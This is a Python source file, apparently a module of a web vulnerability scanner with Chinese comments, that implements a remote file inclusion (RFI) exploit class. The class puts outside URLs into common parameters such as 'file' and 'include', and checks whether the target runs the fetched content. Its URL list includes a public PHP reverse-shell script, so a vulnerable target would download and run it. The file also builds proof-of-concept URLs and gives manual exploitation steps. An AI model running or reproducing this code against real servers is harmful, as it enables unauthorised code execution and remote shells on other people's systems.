267 lines
10 KiB
Python
267 lines
10 KiB
Python
|
|
#!/usr/bin/env python
|
|||
|
|
# -*- coding: utf-8 -*-
|
|||
|
|
|
|||
|
|
"""
|
|||
|
|
RFI(远程文件包含)漏洞利用模块
|
|||
|
|
"""
|
|||
|
|
|
|||
|
|
import logging
|
|||
|
|
import re
|
|||
|
|
import urllib.parse
|
|||
|
|
import random
|
|||
|
|
import string
|
|||
|
|
import base64
|
|||
|
|
import requests
|
|||
|
|
|
|||
|
|
logger = logging.getLogger('xss_scanner')
|
|||
|
|
|
|||
|
|
class RFIExploit:
|
|||
|
|
"""RFI漏洞利用类"""
|
|||
|
|
|
|||
|
|
def __init__(self, http_client):
|
|||
|
|
"""
|
|||
|
|
初始化RFI漏洞利用模块
|
|||
|
|
|
|||
|
|
Args:
|
|||
|
|
http_client: HTTP客户端对象
|
|||
|
|
"""
|
|||
|
|
self.http_client = http_client
|
|||
|
|
|
|||
|
|
# 远程测试文件URL列表
|
|||
|
|
self.remote_test_files = [
|
|||
|
|
"http://www.google.com/humans.txt",
|
|||
|
|
"https://www.bing.com/robots.txt",
|
|||
|
|
"https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/phpinfo.php",
|
|||
|
|
"https://raw.githubusercontent.com/tennc/webshell/master/php/php-reverse-shell.php"
|
|||
|
|
]
|
|||
|
|
|
|||
|
|
# RFI测试代码片段
|
|||
|
|
self.test_code_snippets = [
|
|||
|
|
"<?php echo 'RFI_TEST_'.rand(1000,9999); ?>",
|
|||
|
|
"<?php echo md5('RFI_TEST'); ?>",
|
|||
|
|
"<?php echo base64_encode('RFI_TEST_'.time()); ?>",
|
|||
|
|
"<?php phpinfo(); ?>"
|
|||
|
|
]
|
|||
|
|
|
|||
|
|
# 远程测试代码的可能托管服务
|
|||
|
|
self.remote_code_hosts = [
|
|||
|
|
"https://pastebin.com/raw/",
|
|||
|
|
"https://gist.githubusercontent.com/raw/",
|
|||
|
|
"https://raw.githubusercontent.com/"
|
|||
|
|
]
|
|||
|
|
|
|||
|
|
# 常见参数名
|
|||
|
|
self.common_parameters = [
|
|||
|
|
"file",
|
|||
|
|
"page",
|
|||
|
|
"url",
|
|||
|
|
"uri",
|
|||
|
|
"path",
|
|||
|
|
"filepath",
|
|||
|
|
"load",
|
|||
|
|
"include",
|
|||
|
|
"require",
|
|||
|
|
"doc",
|
|||
|
|
"document",
|
|||
|
|
"folder",
|
|||
|
|
"root",
|
|||
|
|
"cont",
|
|||
|
|
"content",
|
|||
|
|
"layout",
|
|||
|
|
"mod",
|
|||
|
|
"module",
|
|||
|
|
"template"
|
|||
|
|
]
|
|||
|
|
|
|||
|
|
def exploit(self, vulnerability):
|
|||
|
|
"""
|
|||
|
|
利用RFI漏洞
|
|||
|
|
|
|||
|
|
Args:
|
|||
|
|
vulnerability: 漏洞信息
|
|||
|
|
|
|||
|
|
Returns:
|
|||
|
|
dict: 利用结果
|
|||
|
|
"""
|
|||
|
|
logger.info(f"尝试利用RFI漏洞: {vulnerability['url']}")
|
|||
|
|
|
|||
|
|
url = vulnerability.get('url')
|
|||
|
|
parameter = vulnerability.get('parameter')
|
|||
|
|
payload = vulnerability.get('payload', '')
|
|||
|
|
|
|||
|
|
if not url or not parameter:
|
|||
|
|
return {
|
|||
|
|
'success': False,
|
|||
|
|
'message': '缺少必要的漏洞信息(URL或参数名)',
|
|||
|
|
'data': None
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
# 尝试远程文件测试
|
|||
|
|
for remote_url in self.remote_test_files:
|
|||
|
|
result = self._try_remote_file(url, parameter, remote_url)
|
|||
|
|
if result and result['success']:
|
|||
|
|
return result
|
|||
|
|
|
|||
|
|
# 生成随机标记用于验证
|
|||
|
|
verification_mark = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
|
|||
|
|
logger.info(f"生成验证标记: {verification_mark}")
|
|||
|
|
|
|||
|
|
# 如果远程文件测试不成功,尝试创建一个自定义的远程测试文件
|
|||
|
|
# 实际应用中,需要一个可控的Web服务器来托管这些文件
|
|||
|
|
# 这里只是演示性代码
|
|||
|
|
test_code = f"<?php echo 'RFI_VERIFICATION_{verification_mark}'; ?>"
|
|||
|
|
|
|||
|
|
# 返回结果
|
|||
|
|
# 注意:实际利用需要真实的远程服务器来托管恶意代码
|
|||
|
|
return {
|
|||
|
|
'success': False,
|
|||
|
|
'message': '在实际环境中,需要一个可控的远程Web服务器托管PHP代码来完成RFI漏洞利用',
|
|||
|
|
'data': {
|
|||
|
|
'verification_code': test_code,
|
|||
|
|
'parameter': parameter,
|
|||
|
|
'url': url
|
|||
|
|
},
|
|||
|
|
'poc': f"要验证RFI漏洞,请在你控制的Web服务器托管包含 '{test_code}' 的PHP文件,然后设置URL参数 {parameter}={{'你的PHP文件URL'}}",
|
|||
|
|
'manual_steps': [
|
|||
|
|
"1. 在你控制的Web服务器上创建一个PHP文件,内容为: " + test_code,
|
|||
|
|
"2. 确保该PHP文件可通过HTTP/HTTPS访问",
|
|||
|
|
f"3. 构造URL: {url}?{parameter}=http://your-server.com/your-file.php",
|
|||
|
|
f"4. 如果响应中包含 'RFI_VERIFICATION_{verification_mark}',则确认存在RFI漏洞"
|
|||
|
|
]
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
def _try_remote_file(self, url, parameter, remote_url):
|
|||
|
|
"""
|
|||
|
|
尝试包含远程文件
|
|||
|
|
|
|||
|
|
Args:
|
|||
|
|
url: 目标URL
|
|||
|
|
parameter: 参数名
|
|||
|
|
remote_url: 远程文件URL
|
|||
|
|
|
|||
|
|
Returns:
|
|||
|
|
dict: 利用结果
|
|||
|
|
"""
|
|||
|
|
try:
|
|||
|
|
logger.info(f"尝试包含远程文件: {remote_url}")
|
|||
|
|
|
|||
|
|
# 构建RFI测试URL
|
|||
|
|
parsed_url = urllib.parse.urlparse(url)
|
|||
|
|
query_params = dict(urllib.parse.parse_qsl(parsed_url.query))
|
|||
|
|
query_params[parameter] = remote_url
|
|||
|
|
|
|||
|
|
# 重建查询字符串
|
|||
|
|
new_query = urllib.parse.urlencode(query_params)
|
|||
|
|
new_url = urllib.parse.urlunparse((
|
|||
|
|
parsed_url.scheme,
|
|||
|
|
parsed_url.netloc,
|
|||
|
|
parsed_url.path,
|
|||
|
|
parsed_url.params,
|
|||
|
|
new_query,
|
|||
|
|
parsed_url.fragment
|
|||
|
|
))
|
|||
|
|
|
|||
|
|
# 先获取远程文件内容,以便后续比较
|
|||
|
|
try:
|
|||
|
|
remote_response = requests.get(remote_url, timeout=5)
|
|||
|
|
if not remote_response.ok:
|
|||
|
|
logger.warning(f"无法获取远程文件内容: {remote_url}")
|
|||
|
|
return None
|
|||
|
|
|
|||
|
|
remote_content = remote_response.text
|
|||
|
|
logger.info(f"成功获取远程文件内容,长度: {len(remote_content)} 字节")
|
|||
|
|
|
|||
|
|
# 获取远程文件的特征以便检测
|
|||
|
|
# 提取特征,最多50个字符
|
|||
|
|
feature_length = min(50, len(remote_content))
|
|||
|
|
if feature_length > 0:
|
|||
|
|
remote_feature = remote_content[:feature_length]
|
|||
|
|
else:
|
|||
|
|
logger.warning("远程文件内容为空")
|
|||
|
|
return None
|
|||
|
|
|
|||
|
|
except Exception as e:
|
|||
|
|
logger.error(f"获取远程文件内容时出错: {str(e)}")
|
|||
|
|
return None
|
|||
|
|
|
|||
|
|
# 发送包含请求
|
|||
|
|
response = self.http_client.get(new_url)
|
|||
|
|
|
|||
|
|
# 检查响应是否包含远程文件内容
|
|||
|
|
if response and response.status_code == 200:
|
|||
|
|
# 检查响应中是否包含远程文件的特征
|
|||
|
|
if remote_feature and remote_feature in response.text:
|
|||
|
|
logger.info(f"成功包含远程文件,发现特征: {remote_feature[:20]}...")
|
|||
|
|
return {
|
|||
|
|
'success': True,
|
|||
|
|
'message': f'成功利用RFI漏洞包含远程文件: {remote_url}',
|
|||
|
|
'data': {
|
|||
|
|
'remote_url': remote_url,
|
|||
|
|
'parameter': parameter,
|
|||
|
|
'feature_found': remote_feature[:20] + ('...' if len(remote_feature) > 20 else '')
|
|||
|
|
},
|
|||
|
|
'poc': new_url
|
|||
|
|
}
|
|||
|
|
elif "phpinfo" in remote_url.lower() and "PHP Version" in response.text and "PHP License" in response.text:
|
|||
|
|
# 特殊检测: phpinfo()
|
|||
|
|
logger.info("成功包含远程PHP文件,执行了phpinfo()")
|
|||
|
|
return {
|
|||
|
|
'success': True,
|
|||
|
|
'message': '成功利用RFI漏洞包含远程PHP文件并执行了phpinfo()',
|
|||
|
|
'data': {
|
|||
|
|
'remote_url': remote_url,
|
|||
|
|
'parameter': parameter,
|
|||
|
|
'php_version': self._extract_php_version(response.text)
|
|||
|
|
},
|
|||
|
|
'poc': new_url
|
|||
|
|
}
|
|||
|
|
elif "shell" in remote_url.lower() and "system" in response.text and "exec" in response.text:
|
|||
|
|
# 特殊检测: 可能的webshell
|
|||
|
|
logger.info("成功包含远程PHP文件,可能是webshell")
|
|||
|
|
return {
|
|||
|
|
'success': True,
|
|||
|
|
'message': '成功利用RFI漏洞包含远程PHP文件(可能是webshell)',
|
|||
|
|
'data': {
|
|||
|
|
'remote_url': remote_url,
|
|||
|
|
'parameter': parameter,
|
|||
|
|
'warning': '检测到可能包含危险函数的代码'
|
|||
|
|
},
|
|||
|
|
'poc': new_url
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
except Exception as e:
|
|||
|
|
logger.error(f"尝试包含远程文件时出错: {str(e)}")
|
|||
|
|
|
|||
|
|
return None
|
|||
|
|
|
|||
|
|
def _extract_php_version(self, phpinfo_output):
|
|||
|
|
"""
|
|||
|
|
从phpinfo()输出中提取PHP版本
|
|||
|
|
|
|||
|
|
Args:
|
|||
|
|
phpinfo_output: phpinfo()函数的输出
|
|||
|
|
|
|||
|
|
Returns:
|
|||
|
|
str: PHP版本
|
|||
|
|
"""
|
|||
|
|
# 尝试提取PHP版本
|
|||
|
|
version_match = re.search(r"PHP Version[\s]*[=>]*[\s]*([0-9.]+)", phpinfo_output)
|
|||
|
|
if version_match:
|
|||
|
|
return version_match.group(1)
|
|||
|
|
return "未知"
|
|||
|
|
|
|||
|
|
def _create_remote_test_file(self, test_code):
|
|||
|
|
"""
|
|||
|
|
创建远程测试文件
|
|||
|
|
|
|||
|
|
Args:
|
|||
|
|
test_code: 测试代码
|
|||
|
|
|
|||
|
|
Returns:
|
|||
|
|
str: 远程文件URL
|
|||
|
|
"""
|
|||
|
|
# 在实际应用中,这个函数应该将测试代码上传到可控的Web服务器
|
|||
|
|
# 并返回可访问的URL
|
|||
|
|
# 这里仅作为演示,返回一个假的URL
|
|||
|
|
logger.warning("创建远程测试文件功能需要实际的Web服务器支持")
|
|||
|
|
return "http://example.com/test_rfi.php"
|